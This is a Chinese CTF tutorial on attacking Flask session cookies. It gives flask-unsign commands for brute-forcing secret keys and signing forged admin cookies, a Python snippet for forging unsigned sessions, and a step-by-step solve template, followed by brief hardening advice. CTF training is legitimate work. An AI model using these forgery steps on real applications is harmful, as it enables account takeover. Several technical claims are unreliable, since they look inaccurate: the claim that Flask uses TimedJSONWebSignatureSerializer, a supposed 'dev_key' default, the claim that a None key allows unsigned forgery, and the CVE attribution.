漏洞知识点 Python Flask Session
详细到不能再详细”的 Python Flask Session 完整解析 + CTF 实战全攻略,涵盖原理、源码、常见漏洞、攻击手法、防御方式、CTF 常见题型及解题思路。
一、Flask Session 工作原理(极详细)
1. Session 是怎么存的?
Flask 默认使用 itsdangerous 库来实现 Signed Cookie Session。
- Session 数据全部存在客户端的 Cookie 中,名称默认为
session - 服务端不保存任何 Session 数据(无状态)
- 数据格式:
{真实session字典内容}.{时间戳(可选)}.{签名}
2. 签名机制(核心)
Flask 使用 SignedSerializer(继承自 itsdangerous),流程如下:
from itsdangerous import TimedJSONWebSignatureSerializer as Serializer
from itsdangerous import SignatureExpired, BadSignature
s = Serializer(secret_key, expires_in=xxx)
token = s.dumps(payload) # 序列化 + 签名
payload = s.loads(token) # 验证签名 + 反序列化
默认使用的是:
from itsdangerous.serializer import Serializer
from itsdangerous.url_safe import URLSafeTimedSerializer
Flask 1.0 以后默认使用 URLSafeTimedSerializer,签名算法是 HMAC-SHA1。
最终生成的 Cookie 结构(Base64 编码后用 . 分隔三段):
.base64(payload).base64(timestamp).base64(hmac-signature)
如果没有设置 SESSION_USE_SIGNER=True,早期版本可能没有时间戳,只有两段。
3. Flask 默认配置(非常重要!)
app.config.update(
SECRET_KEY = '默认是None,生产必须改',
SESSION_COOKIE_NAME = 'session',
SESSION_COOKIE_HTTPONLY = True,
SESSION_COOKIE_SECURE = False, # http下也能传
SESSION_COOKIE_SAMESITE = 'Lax',
PERMANENT_SESSION_LIFETIME = 31天,
)
如果你在 CTF 中看到源码里 SECRET_KEY 没改,或者是弱随机,那基本就凉了。
二、CTF 中最常见的 Flask Session 漏洞类型
1. Secret Key 泄露 / 弱密钥 / 可爆破
最常见!!!80% 的 Flask Session 题都是这个。
攻击方式:
- 源码泄露(/flag.py、.git 泄露、备份文件)
- 调试模式开启(app.debug = True → 看到 traceback 有 key)
- Flask 1.0 之前的版本默认 key 是
dev_key,直接硬编码 - key 是时间、用户名、固定字符串等可爆破内容
推荐工具:
- https://github.com/Paradoxis/Flask-Unsign (最推荐)
- https://github.com/noraj/flask-session-cookie-manager
解法工具:
# 最经典工具,安装及使用
git clone https://github.com/noraj/flask-session-cookie-manager.git
cd flask-session-cookie-manager
python3 flask_session_cookie_manager.py decode -c "ey..."
python3 flask_session_cookie_manager.py encode -s "泄露的key" -t "{'username':'admin'}"
"""
这里有一个非常易报错的点:由于该脚本是用来伪造 Flask Session 的,而 Flask Session 解密后本质上就是 Python 的字典对象,所以输入时必须严格遵守 Python 语法:
- 1.`true` ➡️ 改为 `True`
- 2.`false` ➡️ 改为 `False`
- 3.`null` ➡️ 改为 `None`
举例:
{'_fresh':true,'_user_id':'1','role':'admin','user_id':1,'username':'admin'}
⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️修改为⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️
{'_fresh':True,'_user_id':'1','role':'admin','user_id':1,'username':'admin'}
==================因此更推荐使用flask-unsign,不会产生上述问题==================
"""
常用命令(flask-unsign)(最推荐):
# 安装方法一:核心功能 + 一个自带的常用密码字典文件
pip install flask-unsign[wordlist]
# 安装方法二:仅核心功能
pip install flask-unsign
# cookie解码
flask-unsign --decode --cookie 'ey...'
# 暴力破解密钥(使用自带的常用密码字典文件 wordlist)
flask-unsign --unsign --cookie 'ey...'
# 指定超大字典爆破
flask-unsign --unsign --cookie 'ey...' --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# 编码新session
flask-unsign --sign --secret "found_key" --cookie "{'is_admin':True}"
2. None(无签名模式)伪造
如果源码里有:
app.config['SESSION_USE_SIGNER'] = False
# 或者
app.config['SECRET_KEY'] = None
那就完全不需要密钥,直接伪造任意内容!
伪造方式:
import base64, zlib, json
payload = {"username":"admin","is_admin":True}
data = base64.urlsafe_b64encode(zlib.compress(json.dumps(payload).encode())).rstrip(b'=').decode()
print("." + data) # 直接把这个设为session cookie即可
3. itsdangerous ≤0.24 版本漏洞(CVE-2018-17175)
旧版本允许使用空密钥(“”)生成合法签名!
直接用:
flask-unsign --sign --secret "" --cookie "{'admin':1}"
4. Timestamp 绕过 / 时间戳伪造
TimedJSONWebSignatureSerializer 有时间戳,默认 3600s 过期。
如果题目没设置 expires_in,或者设置很大(31天),那基本无影响。
如果设置很短(比如60s),你可以:
- 用旧的合法 cookie 抓包重放
- 或者直接用找到的 key 重新签一个新的
5. Pickle 型 Session(极少见但致命)
如果题目用了自定义 SessionInterface 并且用了 pickle 序列化,那可能有反序列化 RCE。
Flask-Session + Redis/Memcached + pickle 就是经典 RCE 链。
三、CTF 实战解题全流程(模板)
-
先访问网站,看看有没有
session=这个 cookie -
把 cookie 复制出来,用 flask-session-cookie-manager 或者 flask-unsign 尝试 decode
flask-unsign --decode --cookie 'ey...'→ 如果能正常 decode,说明密钥没泄露,继续下一步
→ 如果报错 “BadSignature”,说明需要找 key -
找密钥的常见位置(按优先级):
- /debug、/console、/flask-debug(有些傻题直接开调试)
- 源码泄露:.git、.env、config.py、app.py、flag.py
- 页面源码、JS 文件、备份文件(app.py.bak、app.py~)
- 题目描述、提示、标题里有暗示(比如 key 是当前时间戳)
- 弱密钥:dev、changeme、secret、123456、题目名字
-
用 flask-unsign 爆破(推荐用 rockyou.txt:https://github.com/dw0rsec/rockyou.txt 或自定义字典)
flask-unsign --unsign --cookie 'ey...' --wordlist rockyou.txt -
找到 key 后,构造管理员 session:
flask-unsign --sign --secret "found_key" --cookie "{'username':'admin','role':'admin'}"替换 cookie 再访问
-
如果是 None 模式或空密钥,直接按上面 None 方式伪造
四、CTF 中常见的 Session 字段(要改成 admin 的)
{'username': 'guest'}
{'user': 'guest'}
{'id': 2}
{'role': 'user'}
{'is_admin': False}
{'admin': 0}
{'logged_in': True, 'user': 'guest'}
{'user_id': 1}
五、防御建议(出题人/开发者看)
app.config.update(
SECRET_KEY = os.urandom(24), # 必须强随机
SESSION_COOKIE_HTTPONLY = True,
SESSION_COOKIE_SECURE = True, # 强制HTTPS
SESSION_COOKIE_SAMESITE = 'Strict',
)
永远不要把 SECRET_KEY 写死在代码里!
六、总结
CTF 里只要看到 Flask + session cookie,99% 的思路就是:
找到 SECRET_KEY → 用 flask-unsign 伪造管理员 cookie → 过
剩下 1% 是 None 模式、空密钥、pickle RCE。
掌握上面所有内容,Flask Session 题基本无敌了。
更多推荐


所有评论(0)